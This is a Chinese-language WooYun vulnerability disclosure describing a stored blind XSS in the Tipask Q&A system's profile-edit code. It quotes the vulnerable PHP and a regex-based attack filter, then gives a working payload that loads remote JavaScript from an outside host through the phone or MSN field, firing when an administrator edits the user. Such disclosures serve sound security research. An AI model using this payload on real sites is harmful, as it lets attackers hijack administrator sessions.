当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-064740

漏洞标题:tipask 盲打后台xss #2

相关厂商:tipask问答系统

漏洞作者: phith0n

提交时间:2014-06-13 13:42

修复时间:2014-09-11 13:44

公开时间:2014-09-11 13:44

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-09-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

盲打2,没啥限制。

详细说明:

修改个人资料处代码/control/user.php 397行:

function onprofile() {
$navtitle = '个人资料';
if (isset($this->post['submit'])) {
$gender = $this->post['gender'];
$bday = $this->post['birthyear'] . '-' . $this->post['birthmonth'] . '-' . $this->post['birthday'];
$phone = $this->post['phone'];
$qq = $this->post['qq'];
$msn = $this->post['msn'];
$messagenotify = isset($this->post['messagenotify']) ? 1 : 0;
$mailnotify = isset($this->post['mailnotify']) ? 2 : 0;
$isnotify = $messagenotify + $mailnotify;
$introduction = htmlspecialchars($this->post['introduction']);
$signature = htmlspecialchars($this->post['signature']);
if (($this->post['email'] != $this->user['email']) && (!preg_match("/^[a-z'0-9]+([._-][a-z'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$/", $this->post['email']) || $this->db->fetch_total('user', " email='" . $this->post['email'] . "' "))) {
$this->message("邮件格式不正确或已被占用!", 'user/profile');
}
$_ENV['user']->update($this->user['uid'], $gender, $bday, $phone, $qq, $msn, $introduction, $signature, $isnotify);
isset($this->post['email']) && $_ENV['user']->update_email($this->post['email'], $this->user['uid']);
$this->message("个人资料更新成功", 'user/profile');
}
include template('profile');
}


可见只对$this->post['introduction']、$this->post['signature']进行了htmlspecialchars过滤。phone、msn没有过滤,我们可以把xss代码放在电话号码或MSN处。
tipask全局有个自称“xss检测”的函数,实际上是个注入检测,对我们的xss没有影响:

/* XSS 检测 */
function checkattack($reqarr, $reqtype = 'post') {
$filtertable = array(
'get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)',
'post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)',
'cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)'
);
foreach ($reqarr as $reqkey => $reqvalue) {
if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1 && !in_array($reqkey, array('content'))) {
print('Illegal operation!');
exit(-1);
}
}
}

漏洞证明:

注册一个用户,打开资料编辑,将“手机”或“MSN”改成xss代码,注意要闭合前面的input框:">

04.jpg


保存以后就弹了:

05.jpg


后台编辑该用户时触发:

06.jpg


加载远程js(这个比较长,msn这个字段40个字符,差不多刚好够用,电话30个字符不够):

"><svg onload=$.getScript('//xss.tw/01')

修复方案:

htmlspecialchars

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝